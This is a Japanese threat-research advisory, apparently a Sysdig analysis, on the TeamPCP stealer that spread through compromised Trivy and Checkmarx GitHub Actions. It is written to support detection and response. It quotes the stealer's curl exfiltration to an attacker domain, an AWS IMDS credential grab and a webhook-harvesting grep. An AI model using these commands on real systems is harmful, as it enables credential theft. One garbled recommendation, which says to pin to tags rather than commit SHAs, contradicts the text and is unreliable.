2026年3月19日、TeamPCPとして知られる脅威行為者がAqua SecurityのTrivy脆弱性スキャナーとそれに関連するGitHub Actionsを侵害し、数千のリポジトリのCI/CDパイプラインに認証情報窃取ペイロードを注入しました。この事件は広く報道され、StepSecurityなどによる詳細な分析がなされました。
まだ公開されていないのは、同じ攻撃パターンがその後、関連のない別のGitHub Action、CheckmarxのASTに対して出現したということです。Sysdig脅威研究チーム(TRT)は、TeamPCPの活動で使用されているのと同一の認証情報窃取ツールがCheckmarx/ast-github-actionを通じて実行され、タイポスクワッティングドメインに暗号化された認証情報を流出させるのを観察しました。これはTrivyの初期侵害からわずか4日後のことです。このことから、Trivy侵害から窃取された認証情報が、影響を受けたリポジトリ内の追加アクションを毒するために使用されたことが示唆されます。
背景:Trivy侵害
TeamPCPによるTrivy攻撃は広く記録されています。脅威行為者がaquasecurity/trivy-actionリポジトリの76個中75個のバージョンタグに強制プッシュし、「TeamPCP Cloud窃取ツール」を含む悪意あるコミットにリダイレクトしました。
CI/CDワークフローがこれらのタグを参照する場合、侵害されたアクションは多段階のペイロードを実行しました:
- 認証情報スクレイピング:Runner.Workerプロセスから
/proc/*/memをスキャンしてメモリに保存された認証情報を抽出 - クラウドメタデータ収集:IAM認証情報について169.254.169.254のAWSインスタンスメタデータサービス(IMDS)に照会
- Webhook列挙:ワークスペース内でSlackおよびDiscord Webhook URLを検索
- 暗号化された流出:収集した認証情報をAES-256+RSA-4096暗号化アーカイブ(tpcp.tar.gz)にバンドルし、curl POSTでタイポスクワッティングドメインにアップロード
流出先はscan.aquasecurtiy[.]orgで、Aqua SecurityのGitHubオーガニゼーション名(aquasecurity)を意図的に誤字したもので、45.148.10.212に解決されます。
Checkmarxの波
Trivyベースの攻撃が始まってからおよそ4日後、Sysdig TRTは異なるGitHub Action:Checkmarx/ast-github-actionバージョン2.3.28から発信された同一の窃取ツール活動の第2波を観察しました。
CheckmarxイベントのプロセスツリーはTrivyイベントと同じ構造に従い、唯一エントリーポイントが異なります:
- Trivyチェーン:
Runner.Worker → bash → entrypoint.sh (trivy-action) → curl POST - Checkmarxチェーン:
Runner.Worker → bash → setup.sh (ast-github-action/2.3.28) → curl POST
curlコマンドも機能的に同一です:
curl -s -o /dev/null -w %{http_code} -X POST https://checkmarx[.]zone \ -H Content-Type: application/octet-stream \
-H X-Filename: tpcp.tar.gz \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
これは同じtpcp.tar.gzファイル名、同じ--data-binaryアップロードパターン、同じ-w %{http_code}ステータスチェック、および同じX-Filenameヘッダーを特徴とします。唯一の違いは:
| 属性 | Trivy波 | Checkmarx波 |
|---|---|---|
| アクション | aquasecurity/trivy-action | Checkmarx/ast-github-action/2.3.28 |
| エントリー ポイント |
entrypoint.sh | setup.sh |
| 流出 ドメイン |
scan.aquasecurity[.]org | checkmarx[.]zone |
| 流出IP | 45.148.10.212:443 | 83.142.209.11:443 |
| タイポスクワッティング対象 | aquasecurity.org | checkmarx.com |
毒された各アクションでベンダー固有のタイポスクワッティングドメインを使用することは、意図的な欺瞞技法です。CI/CDログを確認するアナリストは、アクション自体のベンダードメインであるかのように見えるcurlトラフィックを目にすることになり、手動検出の可能性が低くなります。
補助的な攻撃段階
Checkmarxの波には、Trivy波で観察されたのと同じ補助的な活動が含まれていました:
- IMDS認証情報収集:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
このコマンドはInstance Metadata ServiceからAWS認証情報を取得します。AWSまたはAzure(IMDSが利用可能)でホストされるCIランナーのコンテキストでは、これらの認証情報はランナーのIAMロールに関連付けられたクラウドリソースへのアクセスを提供できます。
- Webhook URL列挙:
grep -r "hooks.slack.com\|discord.com/api/webhooks" . 2>/dev/null | head -20
このコマンドはチェックアウトされたリポジトリワークスペースでSlackおよびDiscord Webhook URLを検索し、二次流出またはソーシャルエンジニアリングに使用できます。
これがどのように起こったか
TeamPCP窃取ツールの主な機能はCIランナーメモリから認証情報を収集することです。侵害されたTrivyアクションがワークフロー内で実行されると、Runner.WorkerプロセスメモリからGitHubパーソナルアクセストークン(PAT)およびその他の認証情報が抽出されます。これらのトークンがCheckmarxアクションも使用するリポジトリへの書き込みアクセス権を持っている場合、攻撃者は悪意あるコードを追加のアクション依存関係にプッシュするためにそれらを使用できます。
これは段階的なサプライチェーン侵害を作成します:1つの毒されたアクションが認証情報を収集し、その認証情報が追加アクションの毒に効力を与え、それぞれがパターンベースの検出を避けるために異なるタイポスクワッティングドメインを使用します。
Sysdig SecureおよびFalcoを用いたランタイム検出
サプライチェーン侵害はランナーの上流のほとんどの予防的制御をバイパスします:コードレビューと依存関係スキャンはここで失敗しました。これは悪意あるコードが信頼されたアクションのソースに注入されたためです。タグベースのアクション参照(例:@v2)は、タグを悪意あるコミットに強制プッシュすることで破壊されました。コミットSHA固定のみが免疫があったでしょう。ワークフロー実行時にアクションはすでに侵害されているため、パッチウィンドウがゼロに崩壊すると、ランタイム検出が防御の主要な防線になります。
TeamPCP窃取ツールはそれをGitHub Actionsに配信するがどちらであれ、固定のキルチェーンに従います。そのチェーンの各段階は、FalcoおよびSysdig Secureが特定の侵害されたアクションの事前知識なしでキャッチするように設計されているシステムコール活動を生成します。
キルチェーンから検出へのマッピング
| 攻撃段階 | 観察された動作 | Sysdigルール | MITRE ATT&CK |
|---|---|---|---|
| クラウド認証情報盗難 |
runnerコンテナからcurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
コンテナからEC2インスタンスメタデータサービスに連絡 |
T1552.005 セキュリティで保護されていない認証情報:クラウドインスタンスメタデータAPI |
| 秘密流出 |
--data-binary .tar.gzを外部ドメインにアップロードするcurl POST |
Curlでファイルを流出 |
TA0010 流出 |
| IMDS+流出相関 |
IMDSにもアクセスしたプロセスから外部ドメインへのcurl POST |
LOTLBINARY を使用したAWS IMDS認証情報の流出 |
T1552.005 + TA0010 |
| Webhook収集 |
ワークスペース内でgrep -r hooks.slack.com|discord.com/api/webhooks |
コマンドラインで検出された悪意のあるIPまたはドメイン |
TA0009 収集、 T1102 Web サービス |
ランタイム検出がここで機能する理由
これら4つのルールはTrivyおよびCheckmarxの波の両方を検出しました。これは、根本的な窃取ツールペイロードが同一であるためです。ルールは特定の侵害されたパッケージの署名ではなく、動作(システムコール、ネットワーク接続、プロセス引数)に基づいて動作します。静的分析と依存関係スキャンは失敗しました。これは悪意あるコードが信頼された署名付きアクションに注入されたためです。ネットワークベースの検出はタイポスクワッティングドメインが新しく登録され、クリーンな評価スコアを持っていたため失敗しました。しかし、ランタイム検出は成功しました。これは攻撃者が最終的にシステムコールを実行してデータを盗み、流出させる必要があり、これらのシステムコールはそれがどのアクションが攻撃者がコード実行を得た方法に関係なく観察可能だからです。
最も高いシグナルルールは「LOTL Binaryを使用したAWS IMDS認証情報の流出」です。これはIMDSアクセスとその後のデータアップロードを相関させます。どちらの動作も単独ではCIパイプラインで正当である可能性がありますが、同じプロセス系統からの組み合わせはCRITICALに昇格されます。「Curlでファイルを流出」ルールは宛先ドメインから独立して流出ステップをキャッチします。これは、攻撃者がaquasecurtiy[.]org、checkmarx[.]zone、または将来のタイポスクワッティングを使用するかどうかに関係なく機能することを意味します。
タイポスクワッティングドメイン検出
これらの攻撃に対してはネットワークレベルの検出だけでは不十分です。scan.aquasecurtiy[.]orgおよびcheckmarx[.]zoneの両方は、ドメインが新しく登録され、以前の悪意あるhistoryを持っていなかったため、悪用時に脅威インテリジェンスフィードから清潔な判定を返しました。検出はドメイン評価に依存するのではなく、動作(CIランナーからの外部ドメインへのcurl POSTバイナリデータ)に焦点を当てる必要があります。
侵害の指標
流出ドメイン
| ドメイン | タイポスクワッティング対象 | 解決済みIP |
|---|---|---|
| scan.aquasecurtiy[.]org | aquasecurity (Aqua Security) | 45.148.10.212 |
| checkmarx[.]zone | checkmarx.com | 83.142.209.11 |
流出指標
| 指標 | 値 |
|---|---|
| ペイロードファイル名 | tpcp.tar.gz |
| フォールバック流出 | 被害者のGitHubアカウントでtpcp-docsリポジトリを作成 |
侵害されたアクション
| アクション | 侵害されたバージョン | エントリーポイント |
|---|---|---|
| aquasecurity/trivy-action | 76タグ中75個 | entrypoint.sh |
| aquasecurity/setup-trivy | 7タグ | action.yaml |
| Checkmarx/ast-github-action | 2.3.28 (そしておそらくより多い) | setup.sh |
推奨事項
- 回転する影響を受けたウィンドウ中にCIランナーにアクセスできたすべての認証情報、トークン、およびクラウド認証情報。これには、GitHub PAT、AWS/Azure/GCP サービスプリンシパル認証情報、およびリポジトリまたはオーガニゼーション設定で構成された認証情報が含まれます。
- 監査2026年3月19〜23日のGitHub Actionsワークフロー実行をランナーログでtpcp.tar.gz、aquasecurity、またはcheckmarx.zoneの参照について監査します。
- 検索GitHub オーガニゼーションでtpcp-docsという名前のリポジトリを検索します。これはフォールバック機構による流出成功を示します。
- ピンGitHub Actionsを完全なコミットSHAではなくバージョンタグに固定します。タグは強制プッシュできます。コミットSHAはできません。
- 有効にするSysdig SecureまたはFalcoランタイム検出をCIランナーインフラストラクチャで実行して、初期アクセスベクトルに関係なく認証情報盗難とデータ流出を検出します。
- 監視CI ランナーからの送信ネットワーク接続で、予想される成果物リポジトリと一致しないドメインへのcurl POSTリクエストを監視します。
- 制限IMDSv2とホップ制限を使用してCIランナーコンテナからのIMDSアクセスを制限するか、クラウド認証情報が不要な場合はIMDSを完全に無効にします。
結論
Checkmarx/ast-github-actionでのTeamPCP窃取ツールの出現は、サプライチェーン侵害が孤立したイベントではないことを示しています。単一の毒されたアクションは認証情報を収集でき、その認証情報は追加アクションの侵害を可能にし、CI/CDエコシステム全体で段階的な効果を作成します。同一のペイロード、暗号化スキーム、tpcp.tar.gzネーミング規則は、これがTrivyの初期侵害を超えてその範囲を拡大している同じ脅威行為者であることを確認します。
タグベースのアクション参照またはドメイン評価のみに依存する組織は、異なるアクションと異なるドメインを使用し、初期Trivy勧告が注目を他の場所に集中させた後に出現したため、Checkmarxの波を完全に見逃した可能性があります。ランタイム検出は、根本的な動作が同じであるため、それをどのアクションが配信するかに関係なく両波に対して効果的であることが証明されました:CIランナープロセスが元のワークフローの一部ではなかったドメインへの暗号化されたバイナリデータをアップロードします。
2025年のtj-actions/changed-filesから2026年のTeamPCPのマルチアクションキャンペーンまで、CI/CD サプライチェーン攻撃の頻度の上昇により、ビルドインフラストラクチャのランタイム監視がかつてないほど重要になっています。
